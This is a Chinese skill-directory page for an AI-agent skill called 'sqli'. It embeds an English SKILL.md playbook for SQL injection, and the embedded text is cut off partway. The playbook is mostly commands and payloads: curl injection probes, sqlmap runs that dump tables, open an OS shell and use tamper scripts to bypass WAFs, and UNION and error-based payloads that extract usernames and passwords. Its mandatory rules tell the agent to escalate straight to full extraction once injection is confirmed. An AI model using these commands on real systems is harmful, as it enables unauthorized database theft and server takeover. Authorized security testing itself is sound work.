sqli
它能做什么
这项技能指导智能体测试输入字段是否会改变数据库查询。适合检查表单、搜索框和 URL 参数的安全测试人员。
适用场景
- ✓当页面接受 id、搜索词或登录字段,而你想检查其是否存在 SQL 注入时。
- ✓当安全审查询问数据库查询是否使用安全的参数时。
- ✓当你想在授权测试中使用 sqlmap 检查某个 URL 或表单时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我网站上的搜索框能否被用来执行数据库查询?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体向输入发送引号字符和逻辑测试,比较响应或耗时,并在确认输入能到达数据库后使用自动化工具。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
SQL Injection
Exploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.
Detection
# Single quote error test
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt
# Boolean test
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt
# Time-based blind
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt
sqlmap — Automated Exploitation
# Basic detection and exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/
# Aggressive scan (higher risk/level)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/
# POST request
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/
# With cookies/headers
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/
# Enumerate databases
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/
# Dump specific table
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/
# OS shell (if stacked queries + privileges)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/
# Tamper scripts for WAF bypass
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/
Blind SQLi Fast-Path (MANDATORY when tag is blind_sqli)
When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:
- Run ONE time-based probe and ONE boolean differential in your first exploit bash call:
# Time-based oracle confirmation curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt # Boolean differential curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt - If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:
sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \ --output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log & - Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.
Manual-vs-Tool Decision Rule (MANDATORY)
Once SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:
| State | Action |
|---|---|
| SQLi confirmed, no extraction yet | Run sqlmap --batch -u "<URL>" --dump --threads=5 FIRST |
| sqlmap fails or is blocked (WAF, custom encoding) | Write ONE harness script (Python/bash) that does length-probe → binary-search → reconstruct in a single invocation |
| Harness produces partial output | LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness. |
| Harness completes with partial extraction | Submit/verify the partial result before launching a second harness |
Anti-pattern: iterating dozens of manual single-character curls when sqlmap --dump would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.
Hard rule: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.
Manual Techniques
Union-Based
-- Determine column count
ORDER BY 1-- -
ORDER BY 2-- -
-- ... increment until error
-- Extract data via UNION
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -
Error-Based (MySQL)
-- ExtractValue
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -
-- UpdateXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -
**Bl
常见问题
sqlmap 是做什么的?
该技能使用 sqlmap,这是一个自动化 SQL 注入测试的工具,并提到了用于绕过过滤器的 tamper 脚本。
它涵盖盲注吗?
涵盖。它包括基于布尔和基于时间的盲注测试,以及联合查询和基于报错的测试。
它能导出数据库表吗?
该技能展示了在测试中如何列出数据库,并导出选定的表。
详情
作者的原始描述
SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.
热度
- GitHub 星标
- 6.5k
- 排名
- #14080
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …